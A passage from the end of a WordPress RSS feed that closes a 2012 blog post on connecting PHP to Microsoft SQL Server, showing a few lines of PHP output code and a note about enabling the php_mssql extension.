    print $Row[&#039;Fieldname&#039;] . &quot;\n&quot;;
 
}
 
mssql_close($con);
?&gt;</code></pre></p>
<p><strong>Note</strong>: Make sure php_mssql extension is turned on. This example was created on PHP version 5.3.1 so you might need to upgrade if it doesn&#8217;t work.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stackarena.com/2012/05/connecting-php-to-microsoft-sql-server/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

 Served from: www.stackarena.com @ 2013-05-18 10:00:22 by W3 Total Cache -->